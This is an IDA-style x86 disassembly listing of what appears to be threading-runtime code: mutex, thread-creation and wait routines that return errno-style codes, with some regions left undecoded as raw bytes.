loc_42FCF9: ; CODE XREF: ___:0042FCD3j
; ___:0042FCE3j
mov ecx, [ebp+0]
push ecx
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FD0F
mov edx, [esp+18h]
mov [edx], eax
loc_42FD0F: ; CODE XREF: ___:0042FD07j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD70 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_42FD7E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FD7E: ; CODE XREF: sub_42FD70+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FD70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDB0 proc near ; CODE XREF: sub_401E51j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FDB0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p
; sub_42FF30+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_42FED4
mov esi, [eax]
test esi, esi
jz loc_42FED4
cmp esi, 0FFFFFFFFh
jnz short loc_42FDF4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402225
add esp, 4
test eax, eax
jnz loc_42FED9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_42FE44
test eax, eax
jnz short loc_42FE22
loc_42FE15: ; CODE XREF: sub_42FDD0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE22: ; CODE XREF: sub_42FDD0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_42FE39
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE39: ; CODE XREF: sub_42FDD0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_42FEA3
; ---------------------------------------------------------------------------
loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj
cmp eax, [esi+4]
jle short loc_42FE15
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FE70
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE70: ; CODE XREF: sub_42FDD0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_42FE84
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_42FE84: ; CODE XREF: sub_42FDD0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_42FE99
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE99: ; CODE XREF: sub_42FDD0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_42FEA3: ; CODE XREF: sub_42FDD0+72j
dec eax
mov [esi], eax
loc_42FEA6: ; CODE XREF: sub_42FDD0+67j
; sub_42FDD0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42FECE
add esi, 0Ch
push edi
push esi
call sub_40204A
add esp, 8
test eax, eax
jz short loc_42FECE
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_42FECE: ; CODE XREF: sub_42FDD0+E3j
; sub_42FDD0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FED4: ; CODE XREF: sub_42FDD0+9j
; sub_42FDD0+13j
mov eax, 16h
loc_42FED9: ; CODE XREF: sub_42FDD0+32j
pop edi
pop esi
pop ebx
retn
sub_42FDD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF30 proc near ; CODE XREF: sub_401604j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FF30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF50 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B13
mov esi, eax
test esi, esi
jz loc_430026
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_430026
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_42FFCE
mov eax, [ebp+0]
test eax, eax
jz short loc_42FFCE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_42FFD0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_42FFD0
; ---------------------------------------------------------------------------
loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj
; sub_42FF50+54j
xor edi, edi
loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej
; sub_42FF50+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401B95
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
nop
call near ptr 77C3A3DBh
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_430019
test ebp, ebp
jz short loc_430012
cmp dword ptr [ebp+0], 0
jz short loc_430012
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020B3
add esp, 0Ch
loc_430012: ; CODE XREF: sub_42FF50+AAj
; sub_42FF50+B0j
push edi
nop
call near ptr 2750441h
loc_430019: ; CODE XREF: sub_42FF50+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_430059
loc_430026: ; CODE XREF: sub_42FF50+14j
; sub_42FF50+30j
push esi
call sub_4017AD
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43004C
push ebx
call near ptr 77C2C21Bh
nop
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43004C: ; CODE XREF: sub_42FF50+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430059: ; CODE XREF: sub_42FF50+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_42FF50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4300C0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4300F7 ; default
jmp off_4300FC[ecx*4] ; switch jump
loc_4300D5: ; DATA XREF: ___:off_4300FCo
call sub_401708 ; jumptable 004300CE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300DD: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017B2 ; jumptable 004300CE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300E5: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300ED: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 0
call sub_40161D
locret_4300F7: ; CODE XREF: ___:004300CCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr
dd offset loc_4300D5 ; jump table for switch statement
dd offset loc_4300DD
dd offset loc_4300E5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430130: ; CODE XREF: ___:004017B7j
mov eax, dword_50E3D8
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h
dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430180 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_50E8E0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_4301AB
mov eax, [eax+4]
test eax, eax
jz short loc_4301AB
push eax
nop
call near ptr 2740AD9h
cmp eax, 7FFFFFFFh
jnz short loc_4301B0
loc_4301AB: ; CODE XREF: sub_430180+14j
; sub_430180+1Bj
mov esi, 3
loc_4301B0: ; CODE XREF: sub_430180+29j
push offset dword_50E8E0
call near ptr 7C9010EDh
nop
test esi, esi
jnz short loc_4301CC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4301CE
loc_4301CC: ; CODE XREF: sub_430180+3Dj
mov eax, esi
loc_4301CE: ; CODE XREF: sub_430180+4Aj
pop esi
retn
sub_430180 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301F0: ; CODE XREF: ___:0040164Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_430241
mov edi, [esp+14h]
test edi, edi
jz short loc_430241
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_430221
lea eax, [esi+4]
push eax
call near ptr 2740A65h
nop
test eax, eax
jnz short loc_430227
call edi
mov dword ptr [esi], 1
loc_430221: ; CODE XREF: ___:00430209j
; ___:0043022Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430227: ; CODE XREF: ___:00430217j
cmp dword ptr [esi], 0
jnz short loc_430221
mov edi, dword_50F8D0
loc_430232: ; CODE XREF: ___:00430239j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_430232
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430241: ; CODE XREF: ___:004301F9j
; ___:00430201j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430270 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_50E3D8
push esi
push edi
push eax
call sub_401190
sub_430270 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231015Fh, 0F8701D8Bh
dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 77E89050h
dd 50023307h, 9050D3FFh, 310170E8h, 5BC08502h, 0E8560E75h
dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 3107F0E8h
dd 28468902h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430340 proc near ; CODE XREF: sub_401A50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43035E
test eax, eax
jz short loc_430358
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43035E
loc_430358: ; CODE XREF: sub_430340+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43035E: ; CODE XREF: sub_430340+Aj
; sub_430340+16j
xor eax, eax
retn
sub_430340 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430380: ; CODE XREF: ___:00401FF0j
mov eax, [esp+4]
test eax, eax
jge short loc_43038E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43038E: ; CODE XREF: ___:00430386j
mov dword_50E3E8, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4303B0: ; CODE XREF: ___:0040155Aj
mov eax, dword_50E3E8
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4303D0 proc near ; CODE XREF: sub_401B13j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4303F2
push 84h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_430439
loc_4303F2: ; CODE XREF: sub_4303D0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 2740000h
test eax, eax
mov [esi+38h], eax
jnz short loc_430439
push esi
call sub_401BBD
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430439: ; CODE XREF: sub_4303D0+20j
; sub_4303D0+5Aj
mov eax, esi
pop esi
retn
sub_4303D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430460 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_50E8E0
nop
call near ptr 7C901005h
mov esi, dword_44573C
cmp esi, 1
jz short loc_430495
mov eax, [esi+8]
push offset dword_50E8E0
mov dword_44573C, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430495: ; CODE XREF: sub_430460+15j
push offset dword_50E8E0
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4304D0 proc near ; CODE XREF: sub_401BBDj
arg_0 = dword ptr 4
push edi
push offset dword_50E8E0
call near ptr 7C901005h
nop
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_44573C
push offset dword_50E8E0
mov [edx+8], eax
mov dword_44573C, edx
call near ptr 7C9010EDh
nop
pop edi
retn
sub_4304D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_430540
sub_430520 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430540 proc near ; CODE XREF: sub_430520+7p
; sub_430660+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_430540 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_430576
mov eax, [esi+30h]
test eax, eax
jnz short loc_43057E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43057E
mov edi, 2
jmp short loc_43057E
; ---------------------------------------------------------------------------
loc_430576: ; CODE XREF: ___:0043055Bj
mov dword ptr [esp+0Ch], 0
loc_43057E: ; CODE XREF: ___:00430562j
; ___:0043056Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 2730A7Ah
mov ecx, eax
sub ecx, 0
jz short loc_430609
dec ecx
jz short loc_4305B4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4305B4: ; CODE XREF: ___:00430599j
mov eax, [esp+0Ch]
push eax
call near ptr 2750975h
nop
test esi, esi
jz short loc_4305FE
lea edi, [esi+2Ch]
push edi
call sub_402225
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4305F5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4305F5: ; CODE XREF: ___:004305D9j
push edi
call sub_4010C3
add esp, 4
loc_4305FE: ; CODE XREF: ___:004305C1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_430609: ; CODE XREF: ___:00430596j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430660 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_430540
sub_430660 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430690 proc near ; CODE XREF: sub_401C03j
arg_0 = dword ptr 4
push esi
push offset dword_50E940
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4306C4
push esi
push ecx
call sub_402199
add esp, 8
mov esi, eax
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4306C4: ; CODE XREF: sub_430690+17j
test eax, eax
jnz short loc_4306CD
mov esi, 16h
loc_4306CD: ; CODE XREF: sub_430690+36j
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430690 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430700 proc near ; CODE XREF: sub_402199j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_430714
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430714: ; CODE XREF: sub_430700+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_43072F
mov eax, [edi]
test eax, eax
jz short loc_43072F
cmp dword ptr [eax], 1
jnz short loc_43072F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43072F: ; CODE XREF: sub_430700+1Aj
; sub_430700+20j ...
push esi
push 2Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_430754
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430754: ; CODE XREF: sub_430700+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_430770
mov edi, [edi]
test edi, edi
jz short loc_430770
mov edi, [edi+4]
jmp short loc_430772
; ---------------------------------------------------------------------------
loc_430770: ; CODE XREF: sub_430700+63j
; sub_430700+69j
xor edi, edi
loc_430772: ; CODE XREF: sub_430700+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_4307AD
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4307AD: ; CODE XREF: sub_430700+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 276076Ch
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_430700 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430810 proc near ; CODE XREF: sub_40222Fj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_4308F0
mov eax, [edi]
test eax, eax
jz loc_4308F0
cmp eax, 0FFFFFFFFh
jz loc_4308B5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_40177B
mov esi, eax
add esp, 4
test esi, esi
jnz loc_4308EB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_4308A7
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_4308A0
add edx, 10h
push edx
call sub_401686
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
call near ptr 2760000h
nop
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: sub_430810+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A7: ; CODE XREF: sub_430810+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308B5: ; CODE XREF: sub_430810+1Dj
push offset dword_50E940
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_4308DB
push offset dword_50E940
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308DB: ; CODE XREF: sub_430810+B3j
push offset dword_50E940
mov esi, 10h
call near ptr 7C9010EDh
nop
loc_4308EB: ; CODE XREF: sub_430810+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308F0: ; CODE XREF: sub_430810+Aj
; sub_430810+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430810 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430940 proc near ; CODE XREF: sub_401A0Fj
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
cmp eax, esi
jnz short loc_430963
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_430963: ; CODE XREF: sub_430940+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_430940 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430990 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_4309B1
mov eax, [ecx]
test eax, eax
jz short loc_4309B1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B1: ; CODE XREF: sub_430990+9j
; sub_430990+Fj
mov eax, 16h
pop esi
retn
sub_430990 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4309D0: ; CODE XREF: ___:00401BA9j
mov eax, [esp+4]
test eax, eax
jz short loc_4309ED
mov eax, [eax]
test eax, eax
jz short loc_4309ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_4309ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4309ED: ; CODE XREF: ___:004309D6j
; ___:004309DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430A10: ; CODE XREF: ___:004018F7j
mov eax, [esp+4]
test eax, eax
jz short loc_430A3A
mov ecx, [eax]
test ecx, ecx
jz short loc_430A3A
mov eax, [esp+8]
cmp eax, 1
jz short loc_430A2E
test eax, eax
jnz short loc_430A3A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_430A2E: ; CODE XREF: ___:00430A25j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_430A3A: ; CODE XREF: ___:00430A16j
; ___:00430A1Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A50 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430A71
mov ecx, [ecx]
test ecx, ecx
jz short loc_430A71
mov edx, [esp+arg_4]
test edx, edx
jl short loc_430A71
cmp edx, 2
jg short loc_430A71
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_430A71: ; CODE XREF: sub_430A50+8j
; sub_430A50+Ej ...
mov eax, 16h
retn
sub_430A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A90 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430AAE
mov ecx, [ecx]
test ecx, ecx
jz short loc_430AAE
mov edx, [esp+arg_4]
test edx, edx
jz short loc_430AAE
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_430AAE: ; CODE XREF: sub_430A90+8j
; sub_430A90+Ej ...
mov eax, 16h
retn
sub_430A90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430AD0 proc near ; CODE XREF: sub_402225j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_430B87
mov eax, [esi]
test eax, eax
jz loc_430B87
cmp eax, 0FFFFFFFFh
jnz short loc_430B01
push esi
call sub_401C03
mov edi, eax
add esp, 4
test edi, edi
jz short loc_430B01
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B01: ; CODE XREF: sub_430AD0+1Dj
; sub_430AD0+2Cj
mov esi, [esi]
push esi
call near ptr 2740A65h
nop
test eax, eax
jnz short loc_430B2A
loc_430B0E: ; CODE XREF: sub_430AD0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430B22
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430B22: ; CODE XREF: sub_430AD0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B2A: ; CODE XREF: sub_430AD0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_430B6A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FFFAE890h
dd 7E830231h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B6A: ; CODE XREF: sub_430AD0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_430BC0
add esp, 4
test eax, eax
jz short loc_430B0E
call near ptr 77C1F2BCh
nop
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B87: ; CODE XREF: sub_430AD0+Aj
; sub_430AD0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430AD0 endp
; ---------------------------------------------------------------------------
db 90h
